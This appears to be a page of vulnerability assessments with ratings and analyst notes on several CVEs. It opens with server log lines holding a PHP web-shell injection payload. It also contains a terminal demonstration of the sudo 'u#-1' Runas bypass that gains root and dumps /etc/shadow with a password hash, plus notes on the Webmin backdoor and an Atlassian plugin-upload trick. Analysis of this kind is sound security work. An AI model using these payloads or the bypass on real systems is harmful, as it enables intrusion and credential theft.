QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1" 200 329 "-" "Mozilla/5.0"'))
172.17.0.1 - - [28/Oct/2019:20:57:33 +0000] "GET /script.php/?a=;echo+'<?php+echo+`$_GET[a]`;return;?>'>/tmp/a;which+which&QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ HTTP/1.1" 200 329 "-" "Mozilla/5.0"
>>>
4
Ratings
  • Attacker Value
    Low
  • Exploitability
    Very High
Technical Analysis

I’ve seen Runas specifications on exactly two servers in the wild. I think it’s even rarer that you would specify ALL and !root in the same specification, though it is a better application of the principle of least privilege.

More importantly, privilege escalation is contingent on having access to a command that can escape to a shell or otherwise execute arbitrary code or commands. Cool bug, but the use case for this is minimized.

Here’s a contrived example of the bug in action:

vagrant@ubuntu-xenial:~$ sudo -l
Matching Defaults entries for vagrant on ubuntu-xenial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vagrant may run the following commands on ubuntu-xenial:
    (ALL, !root) NOPASSWD: /usr/bin/whoami
vagrant@ubuntu-xenial:~$ sudo whoami
[sudo] password for vagrant:
Sorry, user vagrant is not allowed to execute '/usr/bin/whoami' as root on ubuntu-xenial.
vagrant@ubuntu-xenial:~$ sudo -u ubuntu whoami
ubuntu
vagrant@ubuntu-xenial:~$ sudo -u#-1 whoami
root
vagrant@ubuntu-xenial:~$

You must specify # to use a UID.

Here’s another example where you’re not limited to a command, only the target users:

vagrant@ubuntu-xenial:~$ sudo -l
Matching Defaults entries for vagrant on ubuntu-xenial:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User vagrant may run the following commands on ubuntu-xenial:
    (ALL, !root) NOPASSWD: ALL
vagrant@ubuntu-xenial:~$ sudo whoami
[sudo] password for vagrant:
Sorry, user vagrant is not allowed to execute '/usr/bin/whoami' as root on ubuntu-xenial.
vagrant@ubuntu-xenial:~$ sudo -u#-1 whoami
root
vagrant@ubuntu-xenial:~$ sudo -u#-1 cat /etc/shadow
root:*:17897:0:99999:7:::
daemon:*:17897:0:99999:7:::
bin:*:17897:0:99999:7:::
sys:*:17897:0:99999:7:::
sync:*:17897:0:99999:7:::
games:*:17897:0:99999:7:::
man:*:17897:0:99999:7:::
lp:*:17897:0:99999:7:::
mail:*:17897:0:99999:7:::
news:*:17897:0:99999:7:::
uucp:*:17897:0:99999:7:::
proxy:*:17897:0:99999:7:::
www-data:*:17897:0:99999:7:::
backup:*:17897:0:99999:7:::
list:*:17897:0:99999:7:::
irc:*:17897:0:99999:7:::
gnats:*:17897:0:99999:7:::
nobody:*:17897:0:99999:7:::
systemd-timesync:*:17897:0:99999:7:::
systemd-network:*:17897:0:99999:7:::
systemd-resolve:*:17897:0:99999:7:::
systemd-bus-proxy:*:17897:0:99999:7:::
syslog:*:17897:0:99999:7:::
_apt:*:17897:0:99999:7:::
lxd:*:17897:0:99999:7:::
messagebus:*:17897:0:99999:7:::
uuidd:*:17897:0:99999:7:::
dnsmasq:*:17897:0:99999:7:::
sshd:*:17897:0:99999:7:::
pollinate:*:17897:0:99999:7:::
vagrant:$6$pjYWAc.5$QYfO.wN80gnGe2kC1jYmSTGmO/qelG1CMl6ubKMbDQt9b1TEKZ648PQGI7VC88XE3ObdPBswUavsC1eDVZunJ.:17897:0:99999:7:::
ubuntu:!:18100:0:99999:7:::
vagrant@ubuntu-xenial:~$
3
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Low
11
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Very High
Technical Analysis

This was a supply chain attack: http://www.webmin.com/exploit.html. The backdoor was introduced in a version that was “exploitable” in the default install. Version 1.890 is the money. Anything after requires a non-default setting.

Note that SourceForge installs are affected, but GitHub checkouts aren’t.

ETA: Metasploit added an exploit module.

1
Ratings
  • Attacker Value
    High
  • Exploitability
    Very High
Technical Analysis

Assessment

I think I would see this in the real world, exploitation is trivial, and attacking an SSO system could be valuable.

Additional analysis

What would happen if I changed the Content-Type from multipart/form-data to a different multipart encoding? Let’s try it.

This time I decided to try uploading my malicious plugin with the Content-Type of multipart/mixed instead. Maybe that would work?

They didn’t share how they got there, but it’s an easy find with source code.

wvu@kharak:~$ cd Downloads/
wvu@kharak:~/Downloads$ git clone https://bitbucket.org/atlassian/pdkinstall-plugin.git
Cloning into 'pdkinstall-plugin'...
remote: Counting objects: 210, done.
remote: Compressing objects: 100% (115/115), done.
remote: Total 210 (delta 88), reused 138 (delta 56)
Receiving objects: 100% (210/210), 26.20 KiB | 813.00 KiB/s, done.
Resolving deltas: 100% (88/88), done.
wvu@kharak:~/Downloads$ cd pdkinstall-plugin/
wvu@kharak:~/Downloads/pdkinstall-plugin:master$ git grep isMultipart
src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java:        boolean isMultipart = ServletFileUpload.isMultipartContent(req);
src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java:        if (isMultipart)
wvu@kharak:~/Downloads/pdkinstall-plugin:master$ git grep ServletFileUpload
src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java:import org.apache.commons.fileupload.servlet.ServletFileUpload;
src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java:        boolean isMultipart = ServletFileUpload.isMultipartContent(req);
src/main/java/com/atlassian/pdkinstall/PdkInstallFilter.java:        ServletFileUpload upload = new ServletFileUpload(factory);
wvu@kharak:~/Downloads/pdkinstall-plugin:master$

https://commons.apache.org/proper/commons-fileupload/apidocs/org/apache/commons/fileupload/servlet/ServletFileUpload.html

This class handles multiple files per single HTML widget, sent using multipart/mixed encoding type, as specified by RFC 1867.

2
Ratings
  • Attacker Value
    Medium
  • Exploitability
    Very High
Technical Analysis

Easy container root if you encounter it.

2
Ratings
  • Attacker Value
    Very High
  • Exploitability
    Medium
Technical Analysis

What Aaron said. I was neutral on ratings I don’t have enough information on.